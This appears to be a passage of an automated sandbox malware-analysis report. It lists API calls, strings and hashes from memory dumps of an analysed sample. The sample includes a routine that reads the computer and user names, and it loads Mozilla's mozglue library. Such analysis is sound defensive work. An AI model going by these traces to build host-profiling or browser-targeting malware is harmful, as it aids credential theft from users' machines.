Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: b60972a85923ecc65b06132778f6281bd8a58d12612062d85a85fd20fccfa96d
Instruction ID: f01bded8e105df4540516ad7449dc0f2a87fbfceede6dbcd959b524092320d33
Opcode Fuzzy Hash: b60972a85923ecc65b06132778f6281bd8a58d12612062d85a85fd20fccfa96d
Instruction Fuzzy Hash: 6BE01A31A4034C6BDB91EB94CC96FAE77BC9B44B01F004295BA4C9A1C0DE70AB858BA1

Function 00AF1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00B078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B07910
Part of subcall function 00B078E0: RtlAllocateHeap.NTDLL(00000000), ref: 00B07917
Part of subcall function 00B078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00B0792F

Part of subcall function 00B07850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00AF11B7), ref: 00B07880
Part of subcall function 00B07850: RtlAllocateHeap.NTDLL(00000000), ref: 00B07887
Part of subcall function 00B07850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B0789F

ExitProcess.KERNEL32 ref: 00AF11C6

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 8c69ddfc0c2343d2a58f3be06c24c01b0f9eaf4d55045786d82670e54d1484a8
Instruction ID: e4047bb1a297f6f61617ed7a22d0b2340c0ea4359f099d003f05e40b2fec63d4
Opcode Fuzzy Hash: 8c69ddfc0c2343d2a58f3be06c24c01b0f9eaf4d55045786d82670e54d1484a8
Instruction Fuzzy Hash: BBE012B6F5430553CA0073F5AC0BB2A3BDC6B14345F040568FA85D2682FE25F901857A

Non-executed Functions

Function 6CAB5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CAB5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAB54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAB54BE
__Init_thread_footer.LIBCMT ref: 6CAB54DB

Part of subcall function 6CADAB3F: EnterCriticalSection.KERNEL32(6CB2E370,?,?,6CAA3527,6CB2F6CC,?,?,?,?,?,?,?,?,6CAA3284), ref: 6CADAB49
Part of subcall function 6CADAB3F: LeaveCriticalSection.KERNEL32(6CB2E370,?,6CAA3527,6CB2F6CC,?,?,?,?,?,?,?,?,6CAA3284,?,?,6CAC56F6), ref: 6CADAB7C

Part of subcall function 6CADCBE8: GetCurrentProcess.KERNEL32(?,6CAA31A7), ref: 6CADCBF1
Part of subcall function 6CADCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAA31A7), ref: 6CADCBFA

GetCurrentThreadId.KERNEL32 ref: 6CAB54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CAB5516
GetCurrentThreadId.KERNEL32 ref: 6CAB556A
AcquireSRWLockExclusive.KERNEL32(6CB2F4B8), ref: 6CAB5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CAB5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CAB5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CAB55E6
ReleaseSRWLockExclusive.KERNEL32(6CB2F4B8), ref: 6CAB5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAB5616

Part of subcall function 6CADAB89: EnterCriticalSection.KERNEL32(6CB2E370,?,?,?,6CAA34DE,6CB2F6CC,?,?,?,?,?,?,?,6CAA3284), ref: 6CADAB94
Part of subcall function 6CADAB89: LeaveCriticalSection.KERNEL32(6CB2E370,?,6CAA34DE,6CB2F6CC,?,?,?,?,?,?,?,6CAA3284,?,?,6CAC56F6), ref: 6CADABD1

GetCurrentThreadId.KERNEL32 ref: 6CAB563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAB5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CAB567C
free.MOZGLUE(?), ref: 6CAB56AE

Part of subcall function 6CAC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAC5EDB
Part of subcall function 6CAC5E90: memset.VCRUNTIME140(6CB07765,000000E5,55CCCCCC), ref: 6CAC5F27
Part of subcall function 6CAC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAC5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CAB56E8
GetCurrentThreadId.KERNEL32 ref: 6CAB5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CAB570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CAB5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CAB574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CAB576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CAB5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CAB57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CAB57CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CAB5C56
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CAB5CF9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CAB5D01
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CAB57AE
MOZ_PROFILER_STARTUP, xrefs: 6CAB55E1
MOZ_BASE_PROFILER_HELP, xrefs: 6CAB5511
[I %d/%d] profiler_init, xrefs: 6CAB564E
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CAB5AC9
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CAB5B38
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CAB5766
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAB54B9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CAB5D24
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAB54A3
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CAB5BBE
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CAB5749
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAB548D
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CAB57C5
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CAB5724
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CAB5791
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CAB584E
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CAB5D1C
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CAB56E3
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CAB5717
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CAB5D2B
GeckoMain, xrefs: 6CAB5554, 6CAB55D5

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: f96f15273a9bbf398f0d32495f5c55db3ec5d6d2c880dd3c4baff1ebfdc01d72
Instruction ID: bd8a79cc11a8dfaac7fa4f890895c4810294e0552a849b41d0cb8615baa1a01a
Opcode Fuzzy Hash: f96f15273a9bbf398f0d32495f5c55db3ec5d6d2c880dd3c4baff1ebfdc01d72
Instruction Fuzzy Hash: C4222A74A047409FEB009F74C55467AB7B9EF4631CF080A29E85AA7B41EB39D8C8CB53

Function 6CAB6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAB6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAB6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CAB6D26

Part of subcall function 6CABCA10: malloc.MOZGLUE(?), ref: 6CABCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CAB6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAB6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CAB6D73
free.MOZGLUE(00000000), ref: 6CAB6D80
CertGetNameStringW.CRYPT32 ref: 6CAB6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CAB6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAB6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CAB6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CAB6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CAB6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CAB6E34
CreateFileW.KERNEL32 ref: 6CAB6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CAB6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAB6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CAB709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAB7103
free.MOZGLUE(00000000), ref: 6CAB7153
CloseHandle.KERNEL32(?), ref: 6CAB7176
__Init_thread_footer.LIBCMT ref: 6CAB7209
__Init_thread_footer.LIBCMT ref: 6CAB723A
__Init_thread_footer.LIBCMT ref: 6CAB726B
__Init_thread_footer.LIBCMT ref: 6CAB729C
__Init_thread_footer.LIBCMT ref: 6CAB72DC
__Init_thread_footer.LIBCMT ref: 6CAB730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAB73C2
VerSetConditionMask.NTDLL ref: 6CAB73F3
VerSetConditionMask.NTDLL ref: 6CAB73FF
VerSetConditionMask.NTDLL ref: 6CAB7406
VerSetConditionMask.NTDLL ref: 6CAB740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAB741A
moz_xmalloc.MOZGLUE(?), ref: 6CAB755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAB7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CAB7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CAB7598
free.MOZGLUE(00000000), ref: 6CAB75AC

Part of subcall function 6CADAB89: EnterCriticalSection.KERNEL32(6CB2E370,?,?,?,6CAA34DE,6CB2F6CC,?,?,?,?,?,?,?,6CAA3284), ref: 6CADAB94
Part of subcall function 6CADAB89: LeaveCriticalSection.KERNEL32(6CB2E370,?,6CAA34DE,6CB2F6CC,?,?,?,?,?,?,?,6CAA3284,?,?,6CAC56F6), ref: 6CADABD1

Strings

(, xrefs: 6CAB768A
CryptCATAdminReleaseCatalogContext, xrefs: 6CAB72C8
wintrust.dll, xrefs: 6CAB72CD
SHA256, xrefs: 6CAB6EC0

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 926097df151d9d6fda843e67c1b64ad7869799dc59e72614508f2ef7615ed3bc
Instruction ID: 4313504fd4ae10cdf4dddd32a889f70df311fad965cc8522092b37fed7af271d
Opcode Fuzzy Hash: 926097df151d9d6fda843e67c1b64ad7869799dc59e72614508f2ef7615ed3bc
Instruction Fuzzy Hash: 5C52E3B1A002549BEB21CF24CD84BAAB7BDEF45704F144199E909EB640DB74AFC4CFA1

Function 6CAE0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CAE0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CAE0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CAE0FB7
EnterCriticalSection.KERNEL32(?), ref: 6CAE0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CAE1031
LeaveCriticalSection.KERNEL32(?), ref: 6CAE10D0
EnterCriticalSection.KERNEL32(?), ref: 6CAE117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CAE1C39
EnterCriticalSection.KERNEL32(6CB2E744), ref: 6CAE3391
LeaveCriticalSection.KERNEL32(6CB2E744), ref: 6CAE33CD
LeaveCriticalSection.KERNEL32(?), ref: 6CAE3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAE3437

Strings

MOZ_CRASH(), xrefs: 6CAE3950
Compile-time page size does not divide the runtime one., xrefs: 6CAE3946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAE37A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAE3559, 6CAE382D, 6CAE3848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CAE3793
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAE37BD
MALLOC_OPTIONS, xrefs: 6CAE35FE
<jemalloc>, xrefs: 6CAE3941, 6CAE39F1
: (malloc) Unsupported character in malloc options: ', xrefs: 6CAE3A02
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAE37D2

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 8b197e58a8d959e7f661f8d5604f66dbaf9f90eddb0b65b0dc91910c77e65efa
Instruction ID: 81618ed914c3447748d47cd3148ec6270ce1c83156e7d6a323117d17ac32c8e2
Opcode Fuzzy Hash: 8b197e58a8d959e7f661f8d5604f66dbaf9f90eddb0b65b0dc91910c77e65efa
Instruction Fuzzy Hash: FF538D71A057128FD304CF29C540625BBE1BF89328F29C76DE8A99B7A1D735E881DBC1

Function 6CB034A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB03527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB0355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB035BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB035E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB0363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB03693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB036CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB03703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB0373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB03775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB0378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB03892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB038BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB03902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB03939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB03970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB039EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB03A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB03AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB03E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB03EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB03EE2

Part of subcall function 6CB06180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CB061DD
Part of subcall function 6CB06180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CB0622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB040F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB0412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB04157

Part of subcall function 6CB06180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB06250
Part of subcall function 6CB06180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB06292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB0441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB04448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB0484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB04863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB04878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB04896
free.MOZGLUE ref: 6CB0489F

Strings

, xrefs: 6CB04CD2

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 8553a843e8b56ae608af49b64b7e1997c2e4e2cf13e20e21728e80ed9f1c2506
Instruction ID: 7d1b3e426e561030ee4a9249c06fd169df3089a447c8df35de37432c5d80e1a7
Opcode Fuzzy Hash: 8553a843e8b56ae608af49b64b7e1997c2e4e2cf13e20e21728e80ed9f1c2506
Instruction Fuzzy Hash: 93F23A74A08B80CFC725CF28C08469AFBF1FF9A354F118A5ED99997711DB319896CB42

Function 6CAB64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CAB64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CAB64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CAB6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CAB6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAB652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CAB671C
GetCurrentProcess.KERNEL32 ref: 6CAB6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAB672F
GetCurrentProcess.KERNEL32 ref: 6CAB6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAB6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CAB6A80
GetSystemInfo.KERNEL32(?), ref: 6CAB6ABE
__Init_thread_footer.LIBCMT ref: 6CAB6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAB6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAB6AF7

Strings

detoured.dll, xrefs: 6CAB64DA
nvd3d9wrap.dll, xrefs: 6CAB6500
user32.dll, xrefs: 6CAB6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CAB6798
nvdxgiwrap.dll, xrefs: 6CAB6513
_etoured.dll, xrefs: 6CAB64ED

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

